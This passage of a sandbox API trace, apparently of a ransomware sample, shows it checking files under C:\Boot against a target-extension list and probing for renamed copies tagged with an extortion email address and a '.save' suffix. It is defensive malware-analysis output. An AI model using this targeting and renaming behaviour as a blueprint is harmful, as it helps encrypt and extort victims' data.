1 [0058.443] lstrlenW (lpString=".rar") returned 4 [0058.443] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0058.443] lstrlenW (lpString=".bz2") returned 4 [0058.443] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0058.443] lstrlenW (lpString=".7z") returned 3 [0058.443] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0058.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0058.444] lstrlenW (lpString=".dbf") returned 4 [0058.444] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0058.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0058.444] lstrlenW (lpString=".1cd") returned 4 [0058.444] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0058.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0058.444] lstrlenW (lpString=".jpg") returned 4 [0058.444] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0058.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0058.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0058.444] lstrlenW (lpString=".doc") returned 4 [0058.444] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0058.444] lstrlenW (lpString=".docx") returned 5 [0058.444] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0058.444] lstrlenW (lpString=".pdf") returned 4 [0058.444] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0058.444] lstrlenW (lpString=".xls") returned 4 [0058.444] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0058.444] lstrlenW (lpString=".xlsx") returned 5 [0058.444] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0058.444] lstrlenW (lpString=".ppt") returned 4 [0058.444] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0058.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0058.444] lstrlenW (lpString=".zip") returned 4 [0058.444] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0058.444] lstrlenW (lpString=".rar") returned 4 [0058.444] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0058.444] lstrlenW (lpString=".bz2") returned 4 [0058.444] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0058.444] lstrlenW (lpString=".7z") returned 3 [0058.444] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0058.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0058.445] lstrlenW (lpString=".dbf") returned 4 [0058.445] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0058.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0058.445] lstrlenW (lpString=".1cd") returned 4 [0058.445] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0058.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0058.445] lstrlenW (lpString=".jpg") returned 4 [0058.445] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0058.445] lstrlenW (lpString="BCD") returned 3 [0058.445] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.445] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0058.445] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0058.445] lstrlenW (lpString=".doc") returned 4 [0058.445] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0058.445] lstrlenW (lpString=".docx") returned 5 [0058.445] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0058.445] lstrlenW (lpString=".pdf") returned 4 [0058.445] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0058.445] lstrlenW (lpString=".xls") returned 4 [0058.445] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0058.445] lstrlenW (lpString=".xlsx") returned 5 [0058.445] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0058.445] lstrlenW (lpString=".ppt") returned 4 [0058.445] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0058.445] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0058.445] lstrlenW (lpString=".zip") returned 4 [0058.445] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0058.446] lstrlenW (lpString=".rar") returned 4 [0058.446] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0058.446] lstrlenW (lpString=".bz2") returned 4 [0058.446] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0058.446] lstrlenW (lpString=".7z") returned 3 [0058.446] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0058.446] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0058.446] lstrlenW (lpString=".dbf") returned 4 [0058.446] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0058.446] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0058.446] lstrlenW (lpString=".1cd") returned 4 [0058.446] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0058.446] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0058.446] lstrlenW (lpString=".jpg") returned 4 [0058.446] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0058.446] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0058.446] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0058.446] lstrlenW (lpString=".doc") returned 4 [0058.446] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0058.446] lstrlenW (lpString=".docx") returned 5 [0058.446] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0058.446] lstrlenW (lpString=".pdf") returned 4 [0058.446] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0058.446] lstrlenW (lpString=".xls") returned 4 [0058.446] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0058.446] lstrlenW (lpString=".xlsx") returned 5 [0058.446] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0058.446] lstrlenW (lpString=".ppt") returned 4 [0058.446] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0058.446] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0058.446] lstrlenW (lpString=".zip") returned 4 [0058.446] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0058.446] lstrlenW (lpString=".rar") returned 4 [0058.447] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0058.447] lstrlenW (lpString=".bz2") returned 4 [0058.447] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0058.447] lstrlenW (lpString=".7z") returned 3 [0058.447] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0058.447] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0058.447] lstrlenW (lpString=".dbf") returned 4 [0058.447] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0058.447] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0058.447] lstrlenW (lpString=".1cd") returned 4 [0058.447] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0058.447] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0058.447] lstrlenW (lpString=".jpg") returned 4 [0058.447] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0058.447] lstrcmpiW (lpString1=".LOG1", lpString2=".save") returned -1 [0058.447] lstrlenW (lpString="BCD.LOG1") returned 8 [0058.447] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0058.447] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=0) returned 1 [0058.448] CloseHandle (hObject=0x2f8) returned 1 [0058.448] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0058.448] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0058.448] lstrlenW (lpString=".doc") returned 4 [0058.448] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0058.448] lstrlenW (lpString=".docx") returned 5 [0058.448] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0058.448] lstrlenW (lpString=".pdf") returned 4 [0058.448] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0058.448] lstrlenW (lpString=".xls") returned 4 [0058.448] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0058.448] lstrlenW (lpString=".xlsx") returned 5 [0058.448] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0058.448] lstrlenW (lpString=".ppt") returned 4 [0058.448] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0058.448] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0058.448] lstrlenW (lpString=".zip") returned 4 [0058.448] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0058.448] lstrlenW (lpString=".rar") returned 4 [0058.448] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0058.448] lstrlenW (lpString=".bz2") returned 4 [0058.448] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0058.448] lstrlenW (lpString=".7z") returned 3 [0058.448] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0058.448] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0058.448] lstrlenW (lpString=".dbf") returned 4 [0058.448] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0058.448] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0058.448] lstrlenW (lpString=".1cd") returned 4 [0058.448] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0058.448] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0058.448] lstrlenW (lpString=".jpg") returned 4 [0058.448] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0058.449] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0058.449] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0058.449] lstrlenW (lpString=".doc") returned 4 [0058.449] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0058.449] lstrlenW (lpString=".docx") returned 5 [0058.449] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0058.449] lstrlenW (lpString=".pdf") returned 4 [0058.449] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0058.449] lstrlenW (lpString=".xls") returned 4 [0058.449] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0058.449] lstrlenW (lpString=".xlsx") returned 5 [0058.449] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0058.449] lstrlenW (lpString=".ppt") returned 4 [0058.449] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0058.449] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0058.449] lstrlenW (lpString=".zip") returned 4 [0058.449] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0058.449] lstrlenW (lpString=".rar") returned 4 [0058.449] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0058.449] lstrlenW (lpString=".bz2") returned 4 [0058.449] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0058.449] lstrlenW (lpString=".7z") returned 3 [0058.449] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0058.449] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0058.449] lstrlenW (lpString=".dbf") returned 4 [0058.449] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0058.449] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0058.449] lstrlenW (lpString=".1cd") returned 4 [0058.449] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0058.449] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0058.449] lstrlenW (lpString=".jpg") returned 4 [0058.449] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0058.450] lstrcmpiW (lpString1=".LOG2", lpString2=".save") returned -1 [0058.450] lstrlenW (lpString="BCD.LOG2") returned 8 [0058.450] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0058.450] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=0) returned 1 [0058.450] CloseHandle (hObject=0x2f8) returned 1 [0058.450] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0058.450] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0058.450] lstrlenW (lpString=".doc") returned 4 [0058.450] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0058.450] lstrlenW (lpString=".docx") returned 5 [0058.450] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0058.450] lstrlenW (lpString=".pdf") returned 4 [0058.450] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0058.450] lstrlenW (lpString=".xls") returned 4 [0058.450] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0058.450] lstrlenW (lpString=".xlsx") returned 5 [0058.450] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0058.450] lstrlenW (lpString=".ppt") returned 4 [0058.450] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0058.450] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0058.450] lstrlenW (lpString=".zip") returned 4 [0058.450] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0058.450] lstrlenW (lpString=".rar") returned 4 [0058.450] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0058.450] lstrlenW (lpString=".bz2") returned 4 [0058.451] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0058.451] lstrlenW (lpString=".7z") returned 3 [0058.451] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0058.451] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0058.451] lstrlenW (lpString=".dbf") returned 4 [0058.451] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0058.451] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0058.451] lstrlenW (lpString=".1cd") returned 4 [0058.451] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0058.451] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0058.451] lstrlenW (lpString=".jpg") returned 4 [0058.451] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0058.451] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0058.451] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0058.451] lstrlenW (lpString=".doc") returned 4 [0058.451] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0058.451] lstrlenW (lpString=".docx") returned 5 [0058.451] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0058.451] lstrlenW (lpString=".pdf") returned 4 [0058.451] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0058.451] lstrlenW (lpString=".xls") returned 4 [0058.451] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0058.451] lstrlenW (lpString=".xlsx") returned 5 [0058.451] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0058.451] lstrlenW (lpString=".ppt") returned 4 [0058.451] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0058.451] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0058.451] lstrlenW (lpString=".zip") returned 4 [0058.451] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0058.451] lstrlenW (lpString=".rar") returned 4 [0058.451] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0058.451] lstrlenW (lpString=".bz2") returned 4 [0058.451] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0058.452] lstrlenW (lpString=".7z") returned 3 [0058.452] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0058.452] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0058.452] lstrlenW (lpString=".dbf") returned 4 [0058.452] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0058.452] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0058.452] lstrlenW (lpString=".1cd") returned 4 [0058.452] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0058.452] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0058.452] lstrlenW (lpString=".jpg") returned 4 [0058.452] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0058.452] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0058.452] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.452] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0058.452] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=77664) returned 1 [0058.452] CloseHandle (hObject=0x2f8) returned 1 [0058.453] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0058.453] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0058.453] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.453] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0058.453] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0058.453] lstrlenW (lpString=".doc") returned 4 [0058.453] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.453] lstrlenW (lpString=".docx") returned 5 [0058.453] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0058.453] lstrlenW (lpString=".pdf") returned 4 [0058.453] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.453] lstrlenW (lpString=".xls") returned 4 [0058.453] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.453] lstrlenW (lpString=".xlsx") returned 5 [0058.453] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0058.453] lstrlenW (lpString=".ppt") returned 4 [0058.453] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.453] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0058.453] lstrlenW (lpString=".zip") returned 4 [0058.453] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.453] lstrlenW (lpString=".rar") returned 4 [0058.453] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.453] lstrlenW (lpString=".bz2") returned 4 [0058.454] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.454] lstrlenW (lpString=".7z") returned 3 [0058.454] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.454] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0058.454] lstrlenW (lpString=".dbf") returned 4 [0058.454] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.454] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0058.454] lstrlenW (lpString=".1cd") returned 4 [0058.454] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.454] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0058.454] lstrlenW (lpString=".jpg") returned 4 [0058.454] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.454] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0058.454] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0058.454] lstrlenW (lpString=".doc") returned 4 [0058.454] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.454] lstrlenW (lpString=".docx") returned 5 [0058.454] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0058.454] lstrlenW (lpString=".pdf") returned 4 [0058.454] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.454] lstrlenW (lpString=".xls") returned 4 [0058.454] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.454] lstrlenW (lpString=".xlsx") returned 5 [0058.454] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0058.454] lstrlenW (lpString=".ppt") returned 4 [0058.454] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.454] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0058.454] lstrlenW (lpString=".zip") returned 4 [0058.455] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.455] lstrlenW (lpString=".rar") returned 4 [0058.455] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.455] lstrlenW (lpString=".bz2") returned 4 [0058.455] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.455] lstrlenW (lpString=".7z") returned 3 [0058.455] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.455] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0058.455] lstrlenW (lpString=".dbf") returned 4 [0058.455] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.455] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0058.455] lstrlenW (lpString=".1cd") returned 4 [0058.455] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.455] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0058.455] lstrlenW (lpString=".jpg") returned 4 [0058.456] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.456] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0058.456] lstrlenW (lpString="bootspaces.dll") returned 14 [0058.456] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0058.458] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=95648) returned 1 [0058.458] CloseHandle (hObject=0x2f8) returned 1 [0058.458] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0058.458] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0058.458] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.458] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0058.458] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0058.458] lstrlenW (lpString=".doc") returned 4 [0058.458] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.458] lstrlenW (lpString=".docx") returned 5 [0058.458] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0058.458] lstrlenW (lpString=".pdf") returned 4 [0058.458] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.458] lstrlenW (lpString=".xls") returned 4 [0058.458] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.458] lstrlenW (lpString=".xlsx") returned 5 [0058.459] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0058.459] lstrlenW (lpString=".ppt") returned 4 [0058.459] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.459] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0058.459] lstrlenW (lpString=".zip") returned 4 [0058.459] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.459] lstrlenW (lpString=".rar") returned 4 [0058.459] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.459] lstrlenW (lpString=".bz2") returned 4 [0058.459] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.459] lstrlenW (lpString=".7z") returned 3 [0058.459] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.459] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0058.459] lstrlenW (lpString=".dbf") returned 4 [0058.459] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.459] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0058.459] lstrlenW (lpString=".1cd") returned 4 [0058.459] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.459] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0058.459] lstrlenW (lpString=".jpg") returned 4 [0058.459] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.459] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0058.459] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0058.459] lstrlenW (lpString=".doc") returned 4 [0058.459] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.459] lstrlenW (lpString=".docx") returned 5 [0058.460] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0058.460] lstrlenW (lpString=".pdf") returned 4 [0058.460] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.460] lstrlenW (lpString=".xls") returned 4 [0058.460] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.460] lstrlenW (lpString=".xlsx") returned 5 [0058.460] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0058.460] lstrlenW (lpString=".ppt") returned 4 [0058.460] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.460] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0058.460] lstrlenW (lpString=".zip") returned 4 [0058.460] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.460] lstrlenW (lpString=".rar") returned 4 [0058.460] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.460] lstrlenW (lpString=".bz2") returned 4 [0058.460] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.460] lstrlenW (lpString=".7z") returned 3 [0058.460] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.460] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0058.460] lstrlenW (lpString=".dbf") returned 4 [0058.460] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.460] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0058.460] lstrlenW (lpString=".1cd") returned 4 [0058.460] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.460] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0058.460] lstrlenW (lpString=".jpg") returned 4 [0058.460] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.460] lstrcmpiW (lpString1=".dll", 